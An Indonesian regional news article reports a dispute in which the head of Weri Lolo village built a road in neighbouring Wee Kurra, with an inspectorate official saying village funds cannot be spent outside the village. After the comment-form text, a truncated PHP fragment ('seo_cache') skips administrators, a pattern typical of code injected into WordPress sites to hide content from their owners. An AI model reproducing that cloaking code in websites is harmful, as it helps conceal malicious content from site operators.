Pemerintahan

Dapat Sorotan, Kades Weri Lolo Diminta Jangan Ciptakan Konflik dengan Membangun Jalan di Wilayah Desa Lain

×

Dapat Sorotan, Kades Weri Lolo Diminta Jangan Ciptakan Konflik dengan Membangun Jalan di Wilayah Desa Lain

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Tindakan Kepala Desa Weri Lolo, Kecamatan Wewewa Selatan, Kabupaten SBD yang membangun jalan di wilayah desa lain menuai sorotan dan teguran.

Apalagi jalan tersebut dibangun bersamaan dengan penyerobotan lahan dan perusakan tanaman milik warga Desa Wee Kurra, Kecamatan Wewewa Barat yang kemudian memicu konflik.

Kepala Inspektorat Kabupaten SBD, Theofilus Natara, ST. ( Foto Menara Sumba )

Tindakan inilah yang dianggap makin memprovokasi warga Weri Lolo untuk bertindak anarkis merusak dan menjarah tanaman di kebun warga Wee Kurra.

“Kami sudah laporkan pembangunan jalan yang masuk ke wilayah Wee Kurra kepada Camat Wewewa Barat,” ujar Kepala Desa Wee Kurra, Dominikus Lede Malo beberapa waktu lalu.

Setelah dilaporkan, Camat Wewewa Barat, Benyamin Kaba, SE langsung menghubungi Camat Wewewa Selatan, Stefanus Malo, SIP lewat handphone.

Namun bukannya mengonfirmasi Kepala Desa Weri Lolo, Camat Wewewa Selatan yang saat itu berada di Waingapu, Sumba Timur langsung menjawab bahwa informasi itu tidak benar.

Dari seberang telepon Camat Wewewa Selatan justru mengatakan jangan percaya karena jalan itu hanya melintas di depan rumah Lukas Camma, anggota DPRD SBD, bukan di lokasi kebun warga Eru Naga.

“Kami sangat sesalkan jawaban Camat Wewewa Selatan yang tidak mengecek kebenaran informasi kepada kepala desa tapi langsung mengatakan bahwa apa yang kami sampaikan tidak benar,” katanya kesal saat itu.

Pembangunan jalan pada bulan Mei 2025 ini diduga menggunakan dana desa tahun anggaran 2025.

Jangan Undang Konflik

Dikonfirmasi awak media ini Jumat (17/10/2025), Kepala Inspektorat Kabupaten SBD, Theofilus Natara, ST menegaskan, dana desa hanya digunakan untuk pembangunan di wilayah desa bersangkutan.

Manfaatnya bagi masyarakat desa tersebut, bukan malah dipakai untuk pembangunan di wilayah desa lain.

“Apalagi sudah mengganggu wilayah orang. Jangan mengundang konflik,” tandas Theofilus.

“Jangan kita mencari konflik karena batas desa itu jelas, dimana kemarin baru saja PMD tegaskan sesuai data Badan Informasi Geospasial (BIG),” katanya lebih lanjut.

Terkait pembangunan jalan di desa lain, sambungnya pula, tidak diperbolehkan karena pemerintah kabupatan yang akan tangani, termasuk jalan antarkecamatan.

Ia juga mengingatkan Kepala Desa Weri Lolo untuk segera merubah lokasi pembangunan jalan itu.

“Kan bukan wilayahnya dia. Tidak boleh, dia harus merubah,” imbaunya.

Ia menandaskan, terkait dengan pengelolaan anggaran (dana) desa, (hanya) diperuntukkan bagi wilayah desa tersebut,

“Manfaatkan sebesar-besarnya bagi masyarakat di desa tersebut, (bukan) manfaatkan sampai di desa lain,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>